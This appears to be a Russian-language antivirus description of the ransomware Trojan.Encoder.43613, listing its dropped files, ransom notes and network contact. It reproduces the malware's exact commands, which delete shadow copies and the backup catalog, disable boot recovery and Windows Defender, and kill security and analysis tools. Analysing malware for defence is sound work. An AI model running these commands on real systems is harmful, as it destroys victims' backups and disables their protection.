Trojan.Encoder.43613

Техническая информация

Для обеспечения автозапуска и распространения

Создает следующие файлы на съемном носителе

<Имя диска съемного носителя>:\correct.avi.cache
<Имя диска съемного носителя>:\split.avi.cache
<Имя диска съемного носителя>:\toolbar.bmp.cache
<Имя диска съемного носителя>:\dialmap.bmp.cache
<Имя диска съемного носителя>:\default.bmp.cache
<Имя диска съемного носителя>:\coffee.bmp.cache
<Имя диска съемного носителя>:\dashborder_120.bmp.cache
<Имя диска съемного носителя>:\contosoroot.cer.cache
<Имя диска съемного носителя>:\pmd.cer.cache
<Имя диска съемного носителя>:\testcertificate.cer.cache
<Имя диска съемного носителя>:\contoso.cer.cache
<Имя диска съемного носителя>:\contoso_1.cer.cache
<Имя диска съемного носителя>:\testee.cer.cache
<Имя диска съемного носителя>:\fi51.doc.cache
<Имя диска съемного носителя>:\uep_form_786_bulletin_1726i602.doc.cache
<Имя диска съемного носителя>:\weeklysheet1215.doc.cache
<Имя диска съемного носителя>:\february_catalogue__2015.doc.cache
<Имя диска съемного носителя>:\ovp25012015.doc.cache
<Имя диска съемного носителя>:\lisp_success.doc.cache
<Имя диска съемного носителя>:\tcm851ax32.exe.cache
<Имя диска съемного носителя>:\dotnetfx45_full_setup.exe.cache
<Имя диска съемного носителя>:\jre-7u75-windows-i586-iftw.exe.cache
<Имя диска съемного носителя>:\system_optimization_report.txt
<Имя диска съемного носителя>:\how_to_restore_files.txt
<Имя диска съемного носителя>:\system_recovery_guide.txt
<Имя диска съемного носителя>:\optimization_info.txt

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Системный антивирус (Защитник Windows)

блокирует:

Компонент восстановления системы (SR)

удаляет теневые копии разделов.

добавляет исключения антивируса:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-MpPreference -DisableRealtimeMonitoring $true"

Запускает на исполнение

'<SYSTEM32>\taskkill.exe' /F /IM taskmgr.exe
'<SYSTEM32>\taskkill.exe' /F /IM msconfig.exe
'<SYSTEM32>\taskkill.exe' /F /IM regedit.exe
'<SYSTEM32>\taskkill.exe' /F /IM cmd.exe
'<SYSTEM32>\taskkill.exe' /F /IM powershell.exe
'<SYSTEM32>\taskkill.exe' /F /IM procmon.exe
'<SYSTEM32>\taskkill.exe' /F /IM procexp.exe
'<SYSTEM32>\taskkill.exe' /F /IM wireshark.exe
'<SYSTEM32>\taskkill.exe' /F /IM ollydbg.exe
'<SYSTEM32>\taskkill.exe' /F /IM idaq.exe
'<SYSTEM32>\taskkill.exe' /F /IM mbam.exe
'<SYSTEM32>\taskkill.exe' /F /IM avp.exe
'<SYSTEM32>\taskkill.exe' /F /IM msmpeng.exe
'<SYSTEM32>\taskkill.exe' /F /IM nod32.exe
'<SYSTEM32>\taskkill.exe' /F /IM avastui.exe
'<SYSTEM32>\taskkill.exe' /F /IM mbamtray.exe
'<SYSTEM32>\taskkill.exe' /F /IM mbamservice.exe
'<SYSTEM32>\taskkill.exe' /F /IM SophosUI.exe
'<SYSTEM32>\taskkill.exe' /F /IM McAfee.exe

Завершает или пытается завершить

следующие системные процессы:

<SYSTEM32>\cmd.exe

Изменения в файловой системе

Создает следующие файлы

nul
C:\system_optimization_report.txt
C:\how_to_restore_files.txt
C:\system_recovery_guide.txt
C:\optimization_info.txt
D:\system_optimization_report.txt
D:\how_to_restore_files.txt
D:\system_recovery_guide.txt
D:\optimization_info.txt

Изменяет расширения файлов пользовательских данных (Trojan.Encoder).

Сетевая активность

TCP

Другие

'15#.#01.129.91':443

Другое

Ищет следующие окна

ClassName: '' WindowName: ''

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet >nul 2>&1
'<SYSTEM32>\cmd.exe' /c wbadmin delete catalog -quiet >nul 2>&1
'<SYSTEM32>\wbadmin.exe' delete catalog -quiet
'<SYSTEM32>\wbengine.exe'
'<SYSTEM32>\vds.exe'
'<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled no >nul 2>&1
'<SYSTEM32>\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures >nul 2>&1
'<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy ignoreallfailures
'<SYSTEM32>\cmd.exe' /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" >nul 2>&1
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f >nul 2>&1
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM taskmgr.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM msconfig.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM regedit.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM cmd.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM powershell.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM procmon.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM procexp.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM wireshark.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM ollydbg.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM idaq.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM mbam.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM avp.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM msmpeng.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM nod32.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM avastui.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM mbamtray.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM mbamservice.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM SophosUI.exe >nul 2>&1
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM McAfee.exe >nul 2>&1